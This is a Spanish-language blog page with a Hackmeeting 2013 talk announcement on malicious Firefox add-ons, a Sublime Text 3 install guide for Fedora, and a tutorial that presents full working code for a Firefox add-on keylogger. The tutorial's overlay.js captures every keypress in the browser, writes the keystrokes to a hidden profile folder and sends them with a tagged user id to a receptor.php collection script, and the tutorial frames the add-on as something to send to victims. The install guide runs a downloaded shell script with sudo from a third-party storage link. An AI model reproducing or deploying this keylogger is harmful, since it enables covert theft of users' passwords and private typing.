Explotando Add-Ons de Mozilla Firefox – SixP4ck3r – Hackmeeting 2013

Hackmeeting 2013 4ta. versión

El Hackmeeting es el evento anual de seguridad informática que, por sus características únicas y su particular estilo, se ha convertido en un referente para toda Bolivia.
No sólo es un encuentro de hackers. Es un encuentro de gente interesada en las nuevas tecnologías y en sus aspectos sociales que se realiza en un espacio liberado, esta año nos juntaremos en los ambiente de la Universidad Nur de la ciudad de Santa Cruz los días 10 y 11 de Agosto.

Explotando Add-Ons de Mozilla Firefox – by SIxP4ck3r

Aquí comparto mi presentación y los demos que usé en la charla donde se demostró parte de lo que se puede hacer a partir de enviar a la victima un Add-On malicioso programado con malas intenciones.

Descargar Material de la Presentación:
Presentación PDF
Descargar las 4 demos en usadas en la Presentación

Espero que alguno de Uds. me envié una variante de alguna de los demos, que lo disfrutes y sabéis jamas instales Add-On’s ya  viste lo que te puede pasar xD
By SixP4ck3r
Saludos.

 

Instalar Sublime Text 3 en Fedora 17, 18 y 19


Hace tiempo ablábamos de Sublime Text, el mejor editor de texto para programadores allá afuera. Aunque para Fedora hay un repositorio no oficial, éste sólo tiene los paquetes de Sublime Text 2 y sólo tiene soporte hasta Fedora 18. Si quieres tener el último sublime text disponible instalado en tu sistema fedora, esta es la manera correcta de hacerlo:
1) Eliminar Sublime Text 2
sudo yum -y remove sublime-text
2) Instalar Sublime text 3
sudo yum install wget
wget  http://commondatastorage.googleapis.com/xenodecdn%2Fsublime3sh.tar.gz -O sublime3sh.tar.gz
tar -xvf sublime3sh.tar.gz
Para 32 bits:
sudo chmod +x sublime-text-3-i686.sh
sudo sh sublime-text-3-i686.sh
Para 64 bits:
sudo chmod +x sublime-text-3-x86_64.sh
sudo sh sublime-text-3-x86_64.sh

Creando un Keylogger para Mozilla Firefox – by SixP4ck3r



Tratare de Introducirlos en el desarollo Add-On para Mozilla Firefox y desde luego pensando del lado del Hacking.

El objetivo de este Add-On es capturar todas las teclas dentro de Firefox (Solo dentro de la Pantalla del Navegador).

Los pasos a seguir sera lo siguiente:

Les pasare tres scripts dos en PHP y uno en Javascript.

“overlay.js” => para capturar las teclas en si para el Add-On.

“cheklogs.php” => para ver los Logs.

“receptor.php” => para que el pueda recibir los Logs.

http://www.mediafire.com/download/btyvohfq5t5cz25

Tambien necesitaremos una base de datos para guardar y en cualquier momento podamos consultar lo que capturo.

Si quieren tambien pueden modificar el script “receptor.php” para que lo escriba  un *.txt eso ya es depende de la creatividad de cada uno.

Deberan modificar el Archivo “overlay.js” dentro de la carpeta “chrome/content/”
var keylogger_namespace={};
    var aleat = Math.random() * 99999;
    var torio = Math.round(aleat); // sacamos un numero a la suerte!
    keylogger_namespace.keylogger=function() {
    var file = Components.classes["@mozilla.org/file/directory_service;1"].  
                            getService(Components.interfaces.nsIProperties).  
                            get("ProfD", Components.interfaces.nsIFile);  
        file.append("Firelog");
    if( !file.exists() || !file.isDirectory() ) {  // lo creamos si no existe la carpeta!
        file.create(Components.interfaces.nsIFile.DIRECTORY_TYPE, 0777);
    }
    this.f = file.path+"\\keystrokes";
    window.addEventListener(
    "load", function() {LipoKeylogger.init(); }, false);
    }
    var keylog=new keylogger_namespace.keylogger();
    //======================================
    keylog.logKeypress=function(e){
    var keynum;
    var keychar;
    var numcheck;
    keynum = e.which;
    var file = Components.classes["@mozilla.org/file/local;1"]
    .createInstance(Components.interfaces.nsILocalFile);
    file.initWithPath(keylog.f);
    data=keynum+":";
    // apuntando al archivo a crearse
    var foStream = Components.classes["@mozilla.org/network/file-output-stream;1"]
                           .createInstance(Components.interfaces.nsIFileOutputStream);
    // forma de uso 0x02 | 0x10 para habrir archivo
    foStream.init(file, 0x02 | 0x10 | 0x08, 00666, 0); // solo escritura, abrir, o crear archivo
    foStream.write(data, data.length);
    foStream.close();
    //======================================
    //Leemos log
    var file = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
    file.initWithPath(keylog.f);
    var inputStream = Components.classes["@mozilla.org/network/file-input-stream;1"].createInstance(Components.interfaces.nsIFileInputStream);
    inputStream.init(file, -1, 0,0);
    var sInputStream = Components.classes["@mozilla.org/scriptableinputstream;1"].createInstance(Components.interfaces.nsIScriptableInputStream);
    sInputStream.init(inputStream);
    var str= sInputStream.read(sInputStream.available());
    if ((str.length) > 100){
    var xmlhttp=new XMLHttpRequest();
    url="http://localhost/receptor.php?keypress="; // Recibimos los keypress por GET
    xmlhttp.open("GET",url+str+"&user="+torio,true);
    xmlhttp.send(null);
    //reseteamos el archivo de log's
    var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile);
    file.initWithPath(keylog.f);
    // apuntando al archivo a crearse
    var foStream = Components.classes["@mozilla.org/network/file-output-stream;1"].createInstance(Components.interfaces.nsIFileOutputStream);
    // forma de uso 0x02 | 0x10 para habrir archivo
    foStream.init(file, 0x02 | 0x08 | 0x20, 0666, 0); // solo escritura, abrir, o crear archivo
    foStream.write("", 0);
    foStream.close();
    }
    //======================================
    }
    //======================================
    if ("undefined" == typeof(LipoKeylogger)) {
    var LipoKeylogger= {
            init : function() {
            //======================================
            //Capurando las keypress
        document.addEventListener("keypress", keylog.logKeypress, false);
    }
    }
    }

En la Linea 45
url="http://localhost/receptor.php?keypress="; // Recibimos los keypress por GET
Testeado en Ubuntu! y Windows anda de maravilla, digamos que no pierde ni un solo keypres!!
Culquier duda o sugerencia a SixP4ck3r<ARROBA>Bolivia.com
Saludos comunidad!.